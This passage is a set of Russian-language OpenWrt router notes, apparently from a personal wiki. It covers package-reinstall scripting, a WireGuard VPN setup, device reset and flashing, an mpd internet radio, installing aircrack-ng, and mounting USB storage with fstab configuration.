  # Weed out packages that don't exist anymore
  INSTALL=""
  for CANDIDATE in $INSTALL_CANDIDATES ; do
    if [ -n "`opkg list $CANDIDATE`" ] ; then
      INSTALL="$INSTALL $CANDIDATE"
    fi
  done

  if [ -n "$INSTALL" ] ; then
    opkg install $INSTALL
  fi
  fix_route53
  find /etc -name \*-opkg -exec rm '{}' ';'
  touch /usr/.extra-pakages-installed
  sleep 70
  reboot
}

install_extra_packages_apk() {
  set -e
  apk update
  INSTALL=""
  for PKG in `cat /etc/package-list/extra-packages.txt`; do 
    #grep $PKG /etc/apk/world 1>/dev/null || INSTALL="$INSTALL $PKG"
    # Added due to hanged ddns post-scripts
    grep $PKG /etc/apk/world 1>/dev/null || ( run_with_timeout 120 apk add $PKG || run_with_timeout 120 apk add --no-scripts $PKG )
  done

#  if [ -n "$INSTALL" ] ; then
#    apk add $INSTALL
#  fi

  fix_route53

  touch /usr/.extra-pakages-installed
  sleep 70
  reboot
}

if [ -f /usr/.extra-pakages-installed ] ; then
  opkg list-installed && list_extra_packages_opkg || list_extra_packages_apk
elif [ -f $PKGS ] ; then
  opkg list-installed && install_extra_packages_opkg || install_extra_packages_apk
fi

chmod +x /etc/package-list/persist.sh
echo '*/5 * * * * flock -n /var/lock/persist.lock /etc/package-list/persist.sh' >> /etc/crontabs/root

tl-mr3020

anonymous@undisclosed.example.com (Anonymous) — Sat, 21 Nov 2020 23:00:10 +0000

TL-MR3020

https://openwrt.org/toh/tp-link/tl-mr3020

У меня есть этот малюсенький роутер, у которого есть USB, один порт Ethernet и Wi-Fi b/g/n. Я использую его в качестве точки доступа к локалке по WiFi.

Сброс настроек OpenWRT

Оказалось это не самая тривиальная задача.
Но в двух словах так:

включить роутер.
Дождатьсь, когда лампочка начнет медленно мигать.
нажать кнопку (можно несколько раз)
Лампочка начнет мигать быстро.
Теперь можно подключиться по SSH:
```
ssh root@192.168.1.1
```
Сбросить настройки одной командой:
```
firstboot -y && reboot now
```

wireguard_tunnel

anonymous@undisclosed.example.com (Anonymous) — Tue, 26 Oct 2021 17:43:13 +0000

Server

https://openwrt.org/docs/guide-user/services/vpn/wireguard/server

opkg install --force-depends  wireguard-tools kmod-wireguard luci-app-wireguard

Variables

WG_IF="vpn"
WG_PORT="51820"
WG_ADDR="192.168.9.1/24"
WG_ADDR6="fdf1:e8a1:8d3f:9::1/64"

umask go=
wg genkey | tee wgserver.key | wg pubkey > wgserver.pub
wg genkey | tee wgclient.key | wg pubkey > wgclient.pub
wg genpsk > wgclient.psk
 
# Server private key
WG_KEY="$(cat wgserver.key)"
 
# Pre-shared key
WG_PSK="$(cat wgclient.psk)"
 
# Client public key
WG_PUB="$(cat wgclient.pub)"

Firewall

 
uci del_list firewall.lan.network="${WG_IF}"
uci add_list firewall.lan.network="${WG_IF}"
uci -q delete firewall.wg
uci set firewall.wg="rule"
uci set firewall.wg.name="Allow-WireGuard"
uci set firewall.wg.src="wan"
uci set firewall.wg.dest_port="${WG_PORT}"
uci set firewall.wg.proto="udp"
uci set firewall.wg.target="ACCEPT"
uci commit firewall
/etc/init.d/firewall restart

Network

uci -q delete network.${WG_IF}
uci set network.${WG_IF}="interface"
uci set network.${WG_IF}.proto="wireguard"
uci set network.${WG_IF}.private_key="${WG_KEY}"
uci set network.${WG_IF}.listen_port="${WG_PORT}"
uci add_list network.${WG_IF}.addresses="${WG_ADDR}"
uci add_list network.${WG_IF}.addresses="${WG_ADDR6}"
 

uci commit network
/etc/init.d/network restart

Peers

uci -q delete network.wgclient
uci set network.wgclient="wireguard_${WG_IF}"
uci set network.wgclient.public_key="${WG_PUB}"
uci set network.wgclient.preshared_key="${WG_PSK}"
uci add_list network.wgclient.allowed_ips="${WG_ADDR%.*}.2/32"
uci add_list network.wgclient.allowed_ips="${WG_ADDR6%:*}:2/128"

uci commit network
/etc/init.d/network restart

Client

https://openwrt.org/docs/guide-user/services/vpn/wireguard/client

Variables

WG_IF="vpn"
WG_SERV="autosys.tk"
WG_PORT="51820"
WG_ADDR="192.168.9.2/24"
WG_ADDR6="fdf1:e8a1:8d3f:9::2/64"

Keys

Ключит мы уже сгенерировали на сервере:

cat wgclient.key
cat wgserver.pub 
cat wgclient.psk

И помещаем данные в переменные:

WG_KEY="---wgclient.key---"
WG_PSK="---wgclient.psk---"
WG_PUB="--wgserver.pub--"

Network

# Configure network
uci -q delete network.${WG_IF}
uci set network.${WG_IF}="interface"
uci set network.${WG_IF}.proto="wireguard"
uci set network.${WG_IF}.private_key="${WG_KEY}"
uci add_list network.${WG_IF}.addresses="${WG_ADDR}"
uci add_list network.${WG_IF}.addresses="${WG_ADDR6}"
 
# Add VPN peers
uci -q delete network.wgserver
uci set network.wgserver="wireguard_${WG_IF}"
uci set network.wgserver.public_key="${WG_PUB}"
uci set network.wgserver.preshared_key="${WG_PSK}"
uci set network.wgserver.endpoint_host="${WG_SERV}"
uci set network.wgserver.endpoint_port="${WG_PORT}"
uci set network.wgserver.route_allowed_ips="0"
uci set network.wgserver.persistent_keepalive="25"
uci add_list network.wgserver.allowed_ips="0.0.0.0/0"
uci add_list network.wgserver.allowed_ips="::/0"

xiaomi-ax3600

anonymous@undisclosed.example.com (Anonymous) — Tue, 20 Jul 2021 06:33:12 +0000

СТраничка на 4PDA: https://4pda.ru/forum/index.php?showtopic=983152
Поддержка и получение ssh: https://openwrt.org/inbox/toh/xiaomi/xiaomi_ax3600
Какой-то гайд для установки образа OpenWRT и отката назад - https://forum.openwrt.org/t/xiaomi-ax3600-install-guide/68273
На 4pda человек описал как прошить openwrt из предыдущей ссылки
еще ссылка на инструкцию
а вот как на штатную прошивку устанавливать пакеты openwrt
поиск по Hardware Table с фильтром по поддержке wifi 6 ax
Страничка на форуме про роутеры, которые работают под Openwrt и поддерживают 802.11 AX

xiaomi_4a_gigabit_dvb4397cn

anonymous@undisclosed.example.com (Anonymous) — Tue, 24 Dec 2024 08:15:48 +0000

Router

Xiaomi Mi Wi-Fi Router 4A Gigabit Edition CN
SKU: DVB4397CN 
MfgDate: 2024/10
MiWiFi stable version 1.0.34

Оказалось, что эта версия на Realtek (SKU:DVB4397CN модель R4A, название сети начинается на rd05,версии прошивок начинаются с 1.0.х)
ОНА НЕ ПРОШИВАЕТСЯ В Openwrt

делаем-интернет-радио

anonymous@undisclosed.example.com (Anonymous) — Fri, 26 Apr 2019 11:25:32 +0000

Ставим OpenWRT на роутер.

Устройства

смотрим доступные устройства вывода звука (карты):

cat /proc/asound/cards

Софт

Ставим нужный софт:

opkg update
opkg install kmod-usb-core kmod-usb2 kmod-usb-storage kmod-usb-uhci kmod-usb-audio kmod-usb-ohci kmod-sound-core mpd mpc madplay nano

Конфигурация

Редактируем /etc/mpd.conf и приводим его к такому состоянию:

audio_output {
      type            "alsa"
      name            "My ALSA Device"
      device          "/dev/snd/hwC0D0"        # optional
      format          "44100:16:2"    # optional
      mixer_type      "hardware"      # optional
      mixer_device    "default"       # optional
      mixer_control   "PCM"           # optional
      mixer_index     "0"             # optional
}

Диагностика ошибок

Отладка mpd

mpd -v --no-daemon  --stdout

Воспроизведение аудиопотока

mpc

root@OpenWrt:~# mpc add http://relay3.slayradio.org:8000/
adding: http://relay3.slayradio.org:8000/

root@OpenWrt:~# mpc play

madplay

Еще есть такой плеер madplay

opkg install madplay
wget -q -O- http://stream.clubberry.fm:8000/chill | madplay -

как-прошить-фирмварь-openwrt-из-команднои-строки

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:28 +0000

mtd write ---имя-файла-прошивки--- firmware
reboot

установка-aircrack-ng-на-vera3-lite

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:28 +0000

Установить aircrack-ng на Vera3 Lite меня сподвигли два факта - достаточная аппаратная платформа и возможность работать от батареек :)

Прежде чем искать на любой роутер прошивку или пакет надо бы точно удостовериться в типе его архитектуры.
Если вывести dmesg в файл, то в самом начале файла можно найти что-то типа:

CPU revision is: 0001974c (MIPS 74Kc)
Ralink RT3883   ver:1 eco:5 running at 500.00 MHz

Это информация об архитектуре и проце. Дальше с помощью google или руками ищем на http://downloads.openwrt.org с пакетами под данную архитектуру.
Для Vera3 Lite, в которой проц Ralink MIPS и есть специальная ветка ramips. Пакеты под нее нашлись тут:

http://downloads.openwrt.org/attitude_adjustment/12.09-beta/ramips/rt3883/packages/

В гугле я просто искал: openwrt RT3883 aircrack

Дальше прописываем репозиторий в /etc/opkg.conf :

#src/gz snapshots http://download.mios.com/firmware/openwrt/ramips/packages
src/gz snapshots http://downloads.openwrt.org/attitude_adjustment/12.09-beta/ramips/rt3883/packages
dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay

И дальше просто жмем:

opkg update
opkg install aircrack-ng

установка_пакетов_на_флешку_при_нехватке_места_без_п ...

anonymous@undisclosed.example.com (Anonymous) — Wed, 20 Aug 2025 09:40:50 +0000

Иногда на роутере мало флешки, но есть USB-порт.
Задача - подключить флеху и поставить пакет на нее без переноса всего рута на флеху.

USB Stick

Устанавливаем все что нужно для подключения флехи и настраиваем монтирование:

apk update
apk add kmod-usb3 kmod-usb-storage kmod-fs-ext4 block-mount
mkfs.ext4 -O ^has_journal /dev/sda1
mkdir /opt

Дальше настраиваем автоматическое монтирование с помощью block-mount. Сначала поглядим:

block detect

Ну и потом сконфигурируем:

block detect > /etc/config/fstab
uci set fstab.@global[0].anon_mount='0'
uci set fstab.@global[0].auto_mount='1'
uci set fstab.@global[0].auto_swap='1'
uci set fstab.@mount[1].enabled='1'
uci set fstab.@mount[1].target='/opt'
uci commit fstab
/etc/init.d/fstab enable
/etc/init.d/fstab boot
#/sbin/block mount

Установка пакета

Я буду экспериментировать на пакете xray-core, который довольно большой - примерно 30Mb в установленном виде.
Идея такова - распаковать пакет, перенести настройки пакета в рут, а основной бинарь просто оставить на флехе и в рут поместить просто ссылку на него.
После того, как флешка нормально монтируется после перезагрузки в /opt - скачиваем xray-core, распаковываем его и конфигурируем, чтобы его бинарь запускался с флехи:

apk update
cd /opt/
apk fetch xray-core
apk extract --allow-untrusted ./xray-core-25.8.3-r1.apk
mv ./etc/config/xray /etc/config/
mv ./etc/init.d/xray /etc/init.d/
mkdir /etc/xray
ln -s /opt/usr/bin/xray /usr/bin/xray

uci set xray.enabled.enabled='1'
/etc/init.d/xray enable
/etc/init.d/xray start

Всё!

флеха-в-openwrt-attitude-ajustment

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:28 +0000

Добавление в систему флешки и перенос рабочей системы состоит из трех этапов: подготовка флешки, копирование файлов системы и конфигурирование Openwrt

Подготовка флешки включает в себя создание разделов (для данных и для свопа) и их форматирование.

Копирование файлов системы делается так:

mount /dev/sda2 /mnt
mount -o bind /rom /tmp/root
cp /tmp/root/* /mnt -a
umount /mnt

Здесь /dev/sda2 - раздел флешки на котором будут лежать системные файлы. Он должен быть отформатирован в ext3 или ext4

Настройка openwrt включает в себя загрузку необходимых пакетов и модулей ярда (block-mount и модули ядра kmod-usb-storage kmod-fs-ext4), и конфигурирование файла /etc/config/fstab (с учетом ваших реалий):

config global automount
        option from_fstab 1
        option anon_mount 1

config global autoswap
        option from_fstab 1
        option anon_swap 0

config mount
        option target   /
        option device   /dev/sda2
        option fstype   ext3
        option options  rw,sync
        option enabled  1
        option enabled_fsck 1
        option is_rootfs 1

config mount
        option target   /home
        option device   /dev/sda3
        option fstype   ext3
        option options  rw,sync
        option enabled  1
        option enabled_fsck 1

config swap
        option device   /dev/sda1
        option enabled  1

ВНИМАНИЕ! Так как на флешку переносились только компоненты из ROM, то для системы на флехе надо будет настроить заново все параметры. То есть получится как бы две системы и два набора параметров - одна без флехи в роутере, а вторая с флехой. То есть, для монтирования третьего раздела для данных (если он есть) и свопа надо будет еще раз отредактировать /etc/config/fstab. Потому что в начале мы редактировали тот, который лежал на роутере и с его помощью монтируется ROM, скопированный на флеху, в котором файл /etc/config/fstab пустой и его надо заполнить.